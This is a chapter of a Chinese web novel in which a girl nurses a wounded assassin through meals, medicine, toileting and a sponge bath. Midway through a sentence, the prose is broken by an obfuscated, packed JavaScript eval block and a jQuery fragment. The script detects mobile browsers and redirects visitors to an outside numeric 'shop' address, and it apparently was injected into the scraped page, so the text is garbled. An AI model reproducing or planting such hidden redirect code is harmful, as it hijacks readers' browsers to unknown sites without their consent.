4. 第4章 喂药
作品:《簪娘的赘婿是杀手?》 “你行吗?”竹音举着勺子没动,目光怀疑的扫过他胸前的伤口,以及他费力想要抬起的手臂。
玄烬想要接过勺子,但吃饭要用右手,和刚才吃点心的左手不一样,他的右半身显然伤的更重,即便做这点动作,也牵扯到了伤口,让他立即眉头紧锁,痛的额角渗出冷汗来。
“算了吧。”竹音叹了口气,按下他的手臂,果断的替他做了决定:“还是我喂你吧,你别再把伤口弄开了。”
她把勺子贴到玄烬嘴唇上,迫使他张开嘴。
玄烬愣了几秒,默默张嘴,吃下了那块肉。
瘦肉炖的软烂,带着萝卜的清甜,虽然调味简单,却也别有风味。
“乖~”竹音看他顺从的把肉吃了,脸上顿时露出欣慰的表情:“这就对了,好好吃饭才能好的快!再来一勺鸡蛋羹。”
玄烬表情变换,动了动嘴角,到底没说什么。
竹音把鸡蛋羹一分为二,一人一半,属于玄烬的那份大骨头,她将肉用筷子剔下来,全部喂给了他。
两个人,一个喂,一个吃,空气中只有咀嚼的声音,显得格外宁静。
有一瞬间,玄烬的思绪恍惚了一下,这个场景,是他……曾经想过的那种粗茶淡饭。
一大碗米饭见底,竹音将最后一勺米饭喂给他,问他:“吃饱了吗?再来点?”
玄烬摇摇头:“吃饱了,多谢。”
吃了一大碗饭,又喝了一大碗汤,他现在很饱。
竹音观察着他的神色,见他不像说谎,立刻端着碗去了桌边:“那我开始吃啦,你有事叫我。”
她也饿了一天了,要不是穿越前吃过不少好东西,这会儿闻着饭香,一准早就忍不住了。
为了早日获得强壮的身体,竹音对吃饭这件事很看重,补充充足的肉蛋奶,才能长高变壮,这个身体刚刚十五岁,还有很大的发育空间,必须把握住。
玄烬靠在被子上,看她像一只仓鼠一样,完全不顾及形象,用勺子大口的送饭到嘴里,把腮帮子撑的鼓鼓的,然后嚼嚼嚼嚼嚼……莫名觉得有些可爱。
他有个不为人知的癖好,就是喜欢看别人吃饭,而且是吃的很香的样子。
只是这个爱好实在说不出口,他作为一个杀手,行事又孤僻,很偶尔的才能在暗处看看别人吃饭,满足一下愿望。
要是竹音能听见他的心声,一定要说一句,这不就和现代人爱看吃播一样吗?主播吃的越香越多,观众就觉得越满足。
至于此时,她能吃的这么豪迈,纯粹是饿的。
风卷残云的吃完桌上剩下的饭菜,竹音拍着肚子喟叹一声,觉得自己总算活过来了。
还得是吃饱了才有干劲啊。
吃完饭后,她先给玄烬喂了药。
一大碗黑乎乎的药汁,被玄烬囫囵吞下去,竹音立刻递上清水给他压苦,还拿出一颗糖:“吃一颗就不苦了。”
玄烬想说不用,却比不得她眼疾手快,把糖塞进了他嘴里。
“好了,你可以躺着了。”竹音把棉被抽走,将他恢复躺平的姿势:“我去洗碗了。”
玄烬含着糖,看着她忙忙碌碌的背影,心里头莫名一酸。
玄烬自幼就是孤儿,从没享受过被人关爱的感觉,曾几何时,他也羡慕过那些喝完药就有糖吃的小孩,躲在阴影里愱殬的看着他们。
可随着年龄增长,训练的残酷,任务的艰辛,早就让他忘记了这一切。
他以为他已经不在乎这些了,但刚刚那颗糖,偏偏牵动了他隐秘的心绪,让他心头一紧,继而怅然若失。
真没想到,喝药后的第一颗糖,是在这时候得到的。
何其意外!
竹音对此一无所觉,她把厨房收拾好,又烧了一大锅热水,端来盆子,准备给玄烬擦身。
她把新买来的金疮药拿给玄烬看:“你那瓶快用完了,我又给你买了这个,你瞅瞅能不能用?”
玄烬让她打开瓶子,闻了闻,确认成分后,感激的说:“可以用,你费心了。”
应该是止住了血,又吃饱了饭的原因,玄烬这会儿说话都顺利了许多。
竹音感叹道,人是铁,饭是钢,这话诚不欺我。
她把热水和凉水兑在一起,调成温度适宜的温水,掀开被子,准备给玄烬擦身体。
却不想刚伸出手,就见玄烬面露难色,似乎有什么话想说,又难以启齿。
竹音问他:“你怎么了,哪里痛吗?”
她凑上去看他的伤口:“没裂开啊,哪个痛?”
玄烬没说话,脸上露出隐忍的表情。
“你到底怎么了?”竹音一头雾水,目光在他身上逡巡:“到底哪不舒服,你得说呀。”
在她的催促声中,玄烬内心天人交战,最终,生理需求带来的压迫感占了上风,他无力的闭上眼睛,用一种近乎悲壮的语气说道:“我、想如厕……”
今天一直没喝水,就是担心上厕所的问题,可刚刚偏偏喝了一碗汤,又喝了一碗药,现在怎么都憋不住了。
竹音微微一怔,继而爽朗大笑:“我当什么事儿呢,你不好意思说。等着,我去给你拿夜壶,你要拉屎吗?”
玄烬差点裂开了,非常快速的回道:“我不拉。”
就像她问的问题很烫嘴一样。
“行,那你什么时候想拉屎再和我说。”竹音从容不迫的走开了。
玄烬:“……”
他无言以对,从来都没觉得与人相处这么艰难过。
这一刹那,他想起竹音一开始劝他的话,或许……他真该找个别的人救他,如果是个男人照顾他,他就不会这么被动了。
玄烬捏紧被角,心里一阵懊恼。
没过多久,竹音提着个尿壶回来,站到他身边:“我给你脱裤子?”
玄烬浑身一僵:“我自己来!”
竹音“啧”了一声:“扭扭捏捏的,我还能怎么着你不成?”
她把被子掀开,把尿壶放在他腿间:“你对准点啊,就这一床厚被褥。”
然后十分识趣的离开了。
玄烬:“……”
玄烬一只手折腾了半天,终于解决了生理难题。
水流的声音有点响,他频频看向竹音消失的方向,生怕她忽然闯进来。
好在竹音消失的很彻底,直到他喊她,她才慢吞吞进来。
竹音:“尿好了?”
玄烬垂着头不敢看她,耳根红的彻底:“嗯。”
竹音提起尿壶,什么都没说,拿到了门外去倒掉。
过了一会儿,她提着洗过的尿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092788|195508||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
壶进来,把尿壶放到他触手可得的地方:“晚上你要尿尿,自己拿就行,不用喊我,免得你尴尬。”
玄烬:“……”
他再次觉得自己的语言表达能力是那样薄弱,居然找不到合适的话回复她。
竹音一副司空见惯的模样,当年她帮着护理家里住院的老人,可比这辛苦多了,什么屎尿屁的场面没见过,这都是小意思,如今她自觉自己挣得就是护工费,自然不会吃痒怕痛,嫌弃雇主伺候起来麻烦。
她又给盆子里掺了一点热水,拧干帕子,准备开始干活:“我先给你擦腿吧,擦干净了先给你穿上新裤子。”
玄烬偏过头,又“嗯”了一声。
竹音一本正经的干活,他的腿没受伤,擦起来很方便,竹音把他的短裤撸上去,一条腿擦三遍,保证干干净净,什么汗渍血渍都没了。
玄烬机械的绷着身体,目光呆滞的看着远处的墙角,尽力不让自己去想腿上的感觉。
竹音猛的轻拍他大腿一下:“你绷着劲干嘛呢?我不好擦。”
大腿上全是肌肉,绷紧了跟个铁柱子一样,硬邦邦的,挪都挪不动。
玄烬像个被人戳了一针的气球,忽然泄气。
“就是嘛,这样才好擦。”竹音动作流畅的擦干净他的腿,又去换水洗帕子。
等到帕子洗好,他的腿也风干了。
竹音拿着裤子问:“黑色和蓝色,你穿哪一套?”
玄烬回神,嗓音有点干涩:“黑的。”
“行。”竹音把黑色裤子给他套上,穿好后,面露惊喜:“不长也不短,正正好!”
玄烬咽了咽口水,不敢说话。
他怕自己一接话,竹音又说出什么虎狼之词。
好在竹音也不在乎他的沉默,用被子盖上腿后,开始给他擦上半身。
玄烬恨不得闭上眼睛,可惜闭上眼后,感官反而会扩大,他不得已又睁开眼,目光飘忽,根本不敢看她。
竹音看着他一副难捱的样子,有点好笑,想打趣几句,又想到这是古人,把嘴边的话咽了下去。
前身和胳膊擦完,她问玄烬:“能翻身吗?后背要不要擦。”
当然是要擦的,后背上也沾了不少血和汗,不擦干净怎么穿衣服呢。
玄烬默不作声的就想自己翻身。
竹音赶忙拦住他:“我帮你翻,你别自己用力。”
她把手伸到玄烬身下,帮助他翻身侧躺:“我赶紧擦,你疼了告诉我……”
话还没说完,看着玄烬后背上那些纵横交错,却早已愈合的道道狰狞伤痕,竹音的后半句卡在了嗓子里。
空气沉寂了三秒。
玄烬疑惑她没动作:“怎么了?”
“没事!”竹音迅速回道,若无其事的继续给他擦后背。
她在心里默默的说:果然是个身世复杂的人。
玄烬是在她擦第二遍的时候想起来这件事的。
除了同为杀手的组织同伴以外,他从未让别人看过他的身体,以至于忘记了自己后背上的伤疤。
那些训练时、受罚时留下的伤疤,每个杀手都有,大家自然不会觉得奇怪。
但她不同。
她是个普通姑娘。
玄烬呼吸一窒,整个身体又僵硬了起来!

